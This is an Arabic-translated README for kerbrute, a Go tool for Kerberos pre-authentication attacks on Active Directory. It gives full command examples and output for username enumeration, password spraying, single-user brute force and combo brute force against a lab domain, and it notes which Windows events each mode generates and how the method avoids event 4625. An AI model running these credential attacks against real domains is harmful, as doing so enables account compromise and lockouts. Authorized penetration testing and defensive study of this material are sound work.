ropnop/kerbruteأداة لتنفيذ Kerberos pre-auth bruteforcing
أداة لاختراق القوة الغاشمة (Bruteforce) وتعداد حسابات Active Directory الصالحة بسرعة عبر التحقق المسبق من Kerberos.
احصل على أحدث الملفات الثنائية من صفحة الإصدارات للبدء.
نشأت هذه الأداة من بعض النصوص البرمجية (bash scripts) التي كتبتها منذ بضع سنوات لتنفيذ اختراق القوة الغاشمة باستخدام عميل Heimdal Kerberos من Linux. أردت شيئًا لا يتطلب صلاحيات لتثبيت عميل Kerberos، وعندما وجدت التنفيذ الرائع الخالص بلغة Go لبروتوكول Kerberos gokrb5، قررت أخيرًا تعلم Go وكتابة هذه الأداة.
اختراق كلمات المرور لنظام Windows عبر Kerberos أسرع بكثير من أي نهج آخر أعرفه، وربما أكثر تكتّمًا لأن فشل التحقق المسبق لا يؤدي إلى تشغيل حدث An account failed to log on التقليدي برقم 4625. مع Kerberos، يمكنك التحقق من صحة اسم المستخدم أو اختبار تسجيل الدخول عن طريق إرسال إطار UDP واحد فقط إلى KDC (وحدة تحكم المجال).
لمزيد من الخلفية والمعلومات، اطّلع على محاضرتي في Troopers 2019، بعنوان "Fun with LDAP and Kerberos" (الرابط سيُحدد لاحقًا).
يحتوي Kerbrute على ثلاثة أوامر رئيسية:
يجب تحديد مجال (-d) أو وحدة تحكم مجال (--dc). إذا لم يتم تقديم وحدة تحكم مجال، فسيتم البحث عن KDC عبر DNS.
بشكل افتراضي، Kerbrute متعدد الخيوط ويستخدم 10 خيوط. يمكن تغيير ذلك باستخدام الخيار -t.
يتم تسجيل المخرجات إلى stdout، ولكن يمكن تحديد ملف سجل باستخدام -o.
بشكل افتراضي، لا يتم تسجيل حالات الفشل، ولكن يمكن تغيير ذلك باستخدام -v.
أخيرًا، يحتوي Kerbrute على خيار --safe. عند تمكين هذا الخيار، إذا عاد حساب بحالة مقفلة، فسيتم إحباط جميع الخيوط لمنع قفل أي حسابات أخرى.
يمكن استخدام الأمر help لمزيد من المعلومات
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
لتعداد أسماء المستخدمين، يرسل Kerbrute طلبات TGT بدون تحقق مسبق. إذا ردّ KDC بخطأ PRINCIPAL UNKNOWN، فإن اسم المستخدم غير موجود. ومع ذلك، إذا طلب KDC التحقق المسبق، فإننا نعرف أن اسم المستخدم موجود وننتقل. هذا لا يسبب أي فشل في تسجيل الدخول ولن يقفل أي حسابات. يُنشئ هذا معرّف حدث Windows 4768 إذا تم تمكين تسجيل Kerberos.
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
مع الأمر passwordspray، سيقوم Kerbrute بهجوم القوة الغاشمة الأفقي (horizontal brute force) ضد قائمة من مستخدمي المجال. هذا مفيد لاختبار كلمة مرور واحدة أو اثنتين شائعتين عندما يكون لديك قائمة كبيرة من المستخدمين. تحذير: هذا سيزيد عدد محاولات تسجيل الدخول الفاشلة وسيقفل الحسابات. سيُنشئ هذا معرّفي الحدث 4768 - تم طلب تذكرة مصادقة Kerberos (TGT) و 4771 - فشل التحقق المسبق من Kerberos
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
هذا هجوم تقليدي بالقوة الغاشمة ضد اسم مستخدم. قم بتشغيل هذا فقط إذا كنت متأكدًا من عدم وجود سياسة إقفال! سيُنشئ هذا معرّفي الحدث 4768 - تم طلب تذكرة مصادقة Kerberos (TGT) و 4771 - فشل التحقق المسبق من Kerberos
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
يقرأ هذا الوضع ببساطة تركيبات اسم المستخدم وكلمة المرور (بتنسيق username:password) من ملف أو من stdin ويختبرها مع التحقق المسبق من Kerberos (PreAuthentication). سيتخطى أي أسطر فارغة أو أسطر بأسماء مستخدمين/كلمات مرور فارغة. سيُنشئ هذا معرّفي الحدث 4768 - تم طلب تذكرة مصادقة Kerberos (TGT) و 4771 - فشل التحقق المسبق من Kerberos
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
يمكنك تنزيل الملفات الثنائية المجمّعة مسبقًا لأنظمة Linux و Windows و Mac من صفحة الإصدارات. إذا كنت تريد العيش على الحافة، يمكنك أيضًا التثبيت باستخدام Go:
$ go get github.com/ropnop/kerbrute
مع استنساخ المستودع، يمكنك أيضًا استخدام ملف Make لتجميع المعماريات الشائعة:
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
تحية كبيرة لـ jcmturner لتنفيذه الخالص بلغة Go لبروتوكول KRB5: https://github.com/jcmturner/gokrb5 . مشروع رائع وموثّق جيدًا. لم أكن لأتمكن من فعل أي من هذا بدون هذا المشروع.
تحية لـ audibleblink لاقتراحه وتنفيذه لخيار delay!